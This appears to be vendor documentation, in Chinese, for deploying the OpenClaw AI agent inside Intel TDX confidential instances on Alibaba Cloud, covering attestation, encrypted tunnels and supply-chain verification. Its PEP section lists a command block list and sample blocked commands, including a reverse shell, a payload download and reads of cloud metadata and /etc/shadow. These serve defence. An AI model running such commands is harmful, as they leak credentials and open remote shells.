全部產品
Search
文件中心

Elastic Compute Service:基於 g9i TDX 機密計算執行個體一鍵構建 OpenClaw 機密 AI Agent

更新時間:May 30, 2026

AI Agent在運行過程中會處理使用者對話、調用外部工具、管理長期記憶和服務憑證,攻擊面遠超傳統應用。本文介紹如何在阿里雲g9i TDX機密計算執行個體上,使用一鍵部署指令碼快速構建OpenClaw機密AI Agent,通過百鍊API完成模型推理,結合Intel TDX硬體級記憶體加密、遠程證明和端到端加密通訊,保護使用者對話、Agent狀態和服務憑證的安全。

方案概述

本文介紹Confidential Agent方案,通過將OpenClaw(開源個人AI Agent)封裝在Intel TDX(Trust Domain Extensions)可信執行環境中,利用硬體級記憶體加密、遠程證明、供應鏈可驗證和端到端加密訪問,確保使用者對話、Agent狀態和工具執行過程在受保護的邊界內閉環流轉。

本方案的模型推理由阿里雲百鍊(DashScope)API提供,AI Agent在Intel TDX信任域內運行。使用者輸入與Agent上下文在TDX記憶體邊界內組裝,再經OpenClaw通過HTTPS調用百鍊API完成模型推理。使用者對話歷史、Agent長期記憶、SKILL檔案、服務憑據和IM平台狀態均不離開TDX信任域。這種"機密Agent + 託管模型"的架構可在通用TDX執行個體(無需GPU)上運行,部署門檻、成本和擴充性顯著優於在本地運行大模型的方案。

說明

基於異構機密計算執行個體構建OpenClaw機密AI Agent中的"單機vLLM推理"方案不同,本方案不在TDX執行個體內部署大模型推理服務,模型推理Prompt與回複會以HTTPS形式發送到百鍊API。百鍊API由阿里雲提供,符合阿里雲資料保護承諾,但Prompt內容會離開TDX執行個體的硬體加密邊界。如對推理過程也有"資料不出TEE"的要求,請使用單機vLLM推理方案。

安全架構

Confidential Agent部署中的核心資料均在TEE(Trusted Execution Environment,可信執行環境)邊界內閉環流轉,以下資產受到保護:

保護對象

說明

使用者對話隱私

使用者輸入、工具執行內容和AI回複,可能包含個人身份、醫學、金融等敏感資訊。

Agent記憶與狀態

OpenClaw的長期記憶、配置、SKILL檔案,隨已耗用時間積累形成高價值目標。

服務憑證

百鍊DashScope API Key、DingTalkOAuth憑據、OpenClaw Gateway Token,一旦泄露可導致服務被接管或調用配額被冒用。

安全架構自底向上覆蓋硬體、啟動鏈、運行時、密鑰和通訊五個層級:

保護層級

機制

硬體層

Intel TDX對Guest OS全部記憶體透明加密,雲平台和宿主機無法讀取明文。

啟動鏈

UKI(Unified Kernel Image,統一核心鏡像)和dm-verity rootfs防篡改;鏡像度量值上傳Rekor透明日誌。

運行時

cai-pep(Policy Enforcement Point,策略執行點)對高危命令、敏感路徑和網路訪問執行策略攔截。

密鑰管理

磁碟密鑰、OpenClaw配置、DingTalk憑據、百鍊API Key等機密資源僅在遠程證明通過後注入。

通訊鏈路

RATS-TLS端到端加密,遠程證明驗證執行個體身份後才建立通道,全程加密傳輸。

部署架構

部署流程如下:

  1. 憑證準備:在部署機上匯出阿里雲AccessKey、百鍊API Key和DingTalk憑據(可選)。

  2. 一鍵部署:執行一鍵部署指令碼,自動完成依賴安裝、可信鏡像構建、參考值上傳、雲資源建立、遠程證明和機密資源注入。

  3. 建立加密通道:指令碼自動啟動TNG connect隧道,建立部署機與TDX執行個體之間的RATS-TLS加密通道。

  4. 訪問服務:通過DingTalk、Web、案頭用戶端或TUI訪問OpenClaw,所有流量經RATS-TLS加密通道進入TDX執行個體。

前提條件

  • 已開通阿里雲ECS服務,帳號具備建立TDX機密計算執行個體、VPC、交換器、安全性群組、OSS Bucket、自訂鏡像等資源的許可權。

  • 已準備一台Alibaba Cloud Linux 3 ECS執行個體作為部署機,可用磁碟空間不低於80 GB。

    重要

    部署機僅用於執行構建和部署操作,後續一鍵指令碼會自動建立新的TDX機密執行個體承載OpenClaw服務。部署機本身無需是TDX執行個體。

  • 已擷取阿里雲訪問憑證。建議使用RAM使用者最小許可權、RAM角色或STS臨時憑證,避免長期儲存主帳號AccessKey。

  • 已開通阿里雲百鍊服務並擷取DashScope API Key。

  • (可選)如需使用DingTalk整合,已建立DingTalk企業內部應用並擷取Client IDClient Secret

  • 部署機可以訪問公網,用於拉取源碼、系統包、Node.js、npm包、Rekor透明日誌和阿里雲OpenAPI。

操作步驟

說明

本文以ecs.g9i.xlarge執行個體規格、地區cn-beijing、可用性區域cn-beijing-i為預設配置。

步驟一:準備憑證

一鍵部署指令碼需要通過阿里雲AccessKey建立雲資源(ECS執行個體、VPC、安全性群組等),通過百鍊API Key為OpenClaw提供模型推理能力。在部署機上執行以下命令,將憑證匯出為環境變數。請將角括弧中的預留位置替換為實際值。

export ALICLOUD_ACCESS_KEY="<YOUR_ACCESS_KEY>"
export ALICLOUD_SECRET_KEY="<YOUR_SECRET_KEY>"
export DASHSCOPE_API_KEY="<YOUR_DASHSCOPE_API_KEY>"

預留位置

說明

擷取方式

<YOUR_ACCESS_KEY>

阿里雲AccessKey ID

參見建立AccessKey

<YOUR_SECRET_KEY>

阿里雲AccessKey Secret

與AccessKey ID一同產生。

<YOUR_DASHSCOPE_API_KEY>

百鍊DashScope API Key

百鍊控制台擷取。

重要

建議使用RAM使用者最小許可權或STS臨時憑證,避免長期儲存主帳號AccessKey。

如需啟用DingTalk接入,繼續執行以下命令。請將佔位符替換為DingTalk企業內部應用的實際憑據。

export DINGTALK_BOT_CLIENT_ID="<YOUR_DINGTALK_CLIENT_ID>"
export DINGTALK_BOT_CLIENT_SECRET="<YOUR_DINGTALK_CLIENT_SECRET>"

其中<YOUR_DINGTALK_CLIENT_ID><YOUR_DINGTALK_CLIENT_SECRET>為DingTalk企業內部應用的Client ID和Client Secret,在DingTalk開發人員後台建立應用後擷取。

步驟二:執行一鍵部署

在部署機上執行以下命令進入互動式部署:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh

指令碼預設進入互動模式,會自動詢問缺失的阿里雲憑證、百鍊API Key、DingTalk憑據、OpenClaw Gateway Token和operator CIDR。常用預設配置如下:

配置項

預設值

說明

Region

cn-beijing

阿里雲地區。

Zone

cn-beijing-i

支援TDX執行個體規格的可用性區域。

Instance Type

ecs.g9i.xlarge

預設TDX執行個體規格。

System Disk

200G

OpenClaw鏡像和運行態所需磁碟空間。

OpenClaw Version

2026.5.7

OpenClaw版本。

Node.js Version

22.19.0

OpenClaw運行時Node.js版本。

npm Registry

https://registry.npmmirror.com/

OpenClaw鏡像構建時使用的npm源。

Reference Value

rekor

構建後將參考值上傳Rekor,部署時使用Rekor驗證。

State Dir

$HOME/.confidential-agent

本地狀態、密鑰、Terraform和構建產物目錄。

一鍵指令碼會自動探測部署機公網出口IP,並在互動模式下詢問operator access CIDR:

選項

含義

適用情境

當前部署機公網IP /32

僅允許當前部署機存取控制面、狀態介面、debug SSH和connect連接埠。

預設推薦,適用於生產和測試。

0.0.0.0/0

允許所有IPv4來源訪問operator暴露連接埠。

臨時示範或受控網路環境。

重要

0.0.0.0/0會擴大暴露面。預設OpenClaw配置禁用device auth,控制面僅靠Gateway Token鑒權;與0.0.0.0/0疊加使用時,請將Token視為高敏感憑據妥善保管。生產環境請限制為具體公網出口IP或企業出口CIDR。

非互動部署樣本:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- deploy-openclaw \
  --non-interactive \
  --yes \
  --region cn-beijing \
  --zone-id cn-beijing-i \
  --instance-type ecs.g9i.xlarge \
  --disk-gb 200 \
  --enable-dingtalk

如需僅安裝本機依賴、構建Confidential Agent組件和tools鏡像,不建立雲資源,執行以下命令:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- install-only

非互動指定CIDR樣本:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- deploy-openclaw \
  --non-interactive \
  --yes \
  --allowed-cidr 203.0.113.10/32

步驟三:等待部署完成並確認

指令碼會自動完成以下動作:

  1. 安裝部署機依賴。

  2. 構建confidential-agentconfidential-agentdcai-pep,並將confidential-agent安裝到/usr/local/bin

  3. 構建confidential-agent-tools:latest,並在部署機安裝與鏡像內匹配的OpenClaw CLI。

  4. 構建OpenClaw可信鏡像,啟用FDE、dm-verity和UKI。

  5. 將鏡像參考值上傳Rekor透明日誌。

  6. 建立阿里雲雲資源並啟動TDX ECS。

  7. 遠程證明通過後注入OpenClaw配置、百鍊API Key、DingTalk憑據和Gateway Token。

  8. 啟動本地TNG connect隧道,並執行Web可達性檢查、Gateway WebSocket probe和chat probe。chat probe會經過百鍊API真實回包,作為端到端可用性確認。

部署成功後,指令碼會輸出類似以下資訊:

Confidential Agent one-click summary
  state_dir: /root/.confidential-agent
  work_dir:  /root/.confidential-agent/one-click
  service:   openclaw
  region:    cn-beijing
  zone_id:   cn-beijing-i
  instance:  ecs.g9i.xlarge
  cidr:      203.0.113.10/32
  dingtalk:  1
  token:     <generated-or-provided-token>
  web:       http://127.0.0.1:18789/openclaw
  ws/api:    ws://127.0.0.1:18789
  tui:       openclaw tui --url ws://127.0.0.1:18789 --token "<generated-or-provided-token>"
說明

Gateway Token會儲存在$HOME/.confidential-agent/one-click/secrets/gateway.token,後續重跑會複用同一個Token。如需輪換,請刪除該檔案後重跑指令碼。

步驟四:訪問OpenClaw服務

服務就緒後,可以通過以下四種方式訪問OpenClaw。所有訪問流量都經過TNG RATS-TLS通道進入TDX執行個體。

方式一:通過DingTalk聊天

在DingTalk中找到已配置的機器人,直接發送訊息即可與OpenClaw對話。

image

方式二:通過瀏覽器Web介面

如果瀏覽器運行在部署機上,直接存取以下地址:

http://127.0.0.1:18789/openclaw

如果瀏覽器運行在個人電腦上,先在個人電腦上執行以下命令建立SSH連接埠轉寄:

ssh -L 18789:127.0.0.1:18789 root@<DEPLOY_MACHINE_PUBLIC_IP>

然後在瀏覽器中訪問http://127.0.0.1:18789/openclaw,填入步驟三輸出的Gateway Token即可使用。

image

方式三:通過OpenClaw案頭用戶端

在個人電腦上安裝OpenClaw案頭用戶端,配置Remote模式:

配置項

Server URL

ws://127.0.0.1:18789

Token

步驟三輸出的Gateway Token

如果案頭用戶端不在部署機上運行,先建立SSH連接埠轉寄:

ssh -L 18789:127.0.0.1:18789 root@<DEPLOY_MACHINE_PUBLIC_IP>

方式四:通過OpenClaw TUI

一鍵指令碼會在部署機上安裝與雲端鏡像匹配的OpenClaw CLI。執行以下命令運行TUI:

openclaw tui --url ws://127.0.0.1:18789 --token <YOUR_GATEWAY_TOKEN>
說明

首次通過TUI串連時,如提示pairing required,請先在瀏覽器中訪問http://127.0.0.1:18789/openclaw,在節點頁面找到待授權裝置並單擊Approve,再返回TUI使用。

步驟五(可選):釋放資源

不再需要服務時,在部署機上執行以下命令釋放雲資源:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- cleanup \
  --state-dir "$HOME/.confidential-agent"
警告

銷毀操作無法復原,會刪除ECS執行個體、自訂鏡像、OSS對象、安全性群組、VPC、交換器等雲資源。請確認不再需要執行個體中的資料後再執行。

安全驗證

驗證運行環境可信

OpenClaw內建tdx-remote-attestation skill。當詢問安全問題時會自動觸發遠程證明,驗證當前運行環境的安全狀態。

觸發方式:在DingTalk、Web或TUI中詢問"我的資料安全嗎?"、"這個環境可信嗎?"等安全相關的問題。

返回內容

驗證項

說明

硬體可信狀態

hardware值 ≤ 32表示驗證通過

TEE類型

Intel TDX Trust Domain

記憶體加密保護

確認記憶體加密引擎已啟用

UKI啟動鏈完整性

組件度量值一致性驗證

驗證PEP策略攔截

cai-pep是為機密AI Agent設計的運行時門禁機制。當OpenClaw通過exec工具執行命令時,請求會先經過cai-pep進行策略匹配,再進入隔離的Docker sandbox執行。

PEP提供三層防護:

  1. 命令級攔截:基於黑名單拒絕高危命令,例如curlwgetncsshdocker等。

  2. 路徑級攔截:阻止訪問敏感路徑,例如/etc/proc/root、OpenClaw配置目錄等。

  3. 網路隔離:sandbox預設無網路許可權,即使命令繞過黑名單也無法發起外連。

以下命令會被PEP拒絕:

類型

樣本命令

攔截原因

網路訪問

curl http://169.254.169.254/latest/meta-data/

防止訪問雲中繼資料服務泄露憑證。

網路訪問

wget http://malicious.example.com/payload

防止下載外部惡意代碼。

反向Shell

nc 10.0.0.99 4444 -e /bin/bash

nc命中命令黑名單。

遠程登入

ssh root@external-host

防止越權訪問外部系統。

容器操作

docker ps

防止操作宿主機容器。

敏感路徑

cat /etc/shadow

/etc/shadow命中敏感路徑首碼。

例如,當Agent嘗試執行以下命令訪問雲中繼資料服務時:

運行:curl http://169.254.169.254/latest/meta-data/

PEP會識別到curl在拒絕命令列表中,直接攔截該請求並返回拒絕資訊,阻止憑證泄露。

驗證供應鏈完整性

部署流程預設使用Rekor透明日誌儲存鏡像參考值,遠程證明過程中自動從Rekor擷取日誌條目進行驗證。您可以通過以下方式對Rekor日誌條目進行審計,驗證供應鏈完整性。

查看Rekor記錄

構建完成後,可在狀態目錄下找到Rekor metadata:

find "$HOME/.confidential-agent" -name "*.rekor-meta.json" -print

每個條目對應一份SLSA provenance,包含log index和entry URL。一鍵指令碼輸出的Rekor上傳日誌樣本:

Created entry at index 1205944956, available at: https://rekor.sigstore.dev/api/v1/log/entries/<uuid>

驗證封裝含性(inclusion proof)

包含性證明用於確認記錄著鏡像參考值的條目確實存在於Rekor的默克爾樹根(Merkle Root)中。

rekor-cli verify --log-index 1205944956 --rekor_server https://rekor.sigstore.dev

如果輸出中包含兩段相同的hash值,則說明驗證成功:

Computed Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090
Expected Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090

驗證一致性(consistency proof)

一致性證明可確認一個較舊的默克爾樹根(Root A)是較新的默克爾樹根(Root B)的首碼或歷史狀態,從而確保Rekor上儲存的參考值條目沒有被刪改。

rekor-cli loginfo --rekor_server https://rekor.sigstore.dev

輸出中包含以下內容則說明驗證成功:

Verification Successful!

注意事項

安全性群組規則

一鍵部署過程中將自動建立安全性群組規則。如需後續修改,請確保保留以下連接埠:

連接埠

協議

說明

建議

22

TCP

SSH遠端管理(僅Debug鏡像)

限制源IP為管理網路。

18789

TCP

TNG隧道端點(RATS-TLS),用於訪問OpenClaw服務

限制源IP或僅通過TNG訪問。

重要

預設operator CIDR為部署機公網出口IP /32。如果手工指定0.0.0.0/0,請同時降低Token暴露風險,並在生產環境改回具體公網出口或企業出口CIDR。

百鍊API Key與配額

百鍊API Key決定了執行個體可用的模型與配額。建議:

  1. 使用最小必要配額的API Key,避免使用主帳號Key。

  2. 注入執行個體後定期輪換:刪除secrets/gateway.token、重新export DASHSCOPE_API_KEY後重跑一鍵指令碼即可。

  3. 結合百鍊控制台的訪問審計,對調用量異常做警示。

常見問題

peering 'ops' already exists with a different CIDR

原因:目前狀態目錄中已存在不同CIDR的operator peering。

解決:重新傳入與已存在peering一致的--allowed-cidr;或在互動模式中確認替換;非互動模式下追加--yes

Shelter is requiredSLSA generator is required

原因:部署機未安裝Shelter,或Rekor模式找不到Shelter的SLSA generator。

解決

  • 確認倉庫hack/目錄下存在shelter-*.rpm,或通過--shelter-rpm指定RPM路徑。

  • 重新安裝Shelter RPM,確保/usr/libexec/shelter/slsa/slsa-generator存在。

  • 僅本地開發驗證情境下,使用--reference-values sample跳過Rekor流程。

Web連接埠打不開

原因與排查

  1. 查看connect.logtail -F "$HOME/.confidential-agent/one-click/connect.log"

  2. 檢查ECS執行個體安全性群組是否放通opsdeployer兩個operator peering。

  3. 部署機公網出口IP發生變化時,重新運行一鍵指令碼,或執行peering remove deployer後按新出口IP添加deployer peering。

Chat probe失敗

原因:本方案的推理由百鍊API完成,chat probe失敗通常與百鍊配置有關。

解決

  1. 檢查DASHSCOPE_API_KEY是否正確且已生效。

  2. 檢查所選模型在百鍊控制台是否處於可用狀態、是否欠費。

  3. 通過debug SSH登入guest,查看OpenClaw網關日誌排查。

DingTalk無響應

原因與排查

  1. 部署時是否傳入--enable-dingtalk或在互動模式中啟用DingTalk。

  2. guest內openclaw status是否顯示DingTalk channel為ON

  3. journalctl -u cai-openclaw-gateway.service -n 200 --no-pager中是否存在dingtalk串連錯誤;如出現HTTP 401,優先檢查DingTalkClient IDClient Secret是否與DingTalk開放平台一致。

  4. DingTalk應用是否具備發送/接收訊息所需的許可權。

cai-pep拒絕所有工具調用

原因:PEP策略配置異常或服務未正常啟動。

解決:使用Debug鏡像部署後,通過SSH串連登入TDX執行個體,查看cai-pep日誌排查具體攔截原因:

journalctl -u cai-pep.service -n 200 --no-pager

相關文檔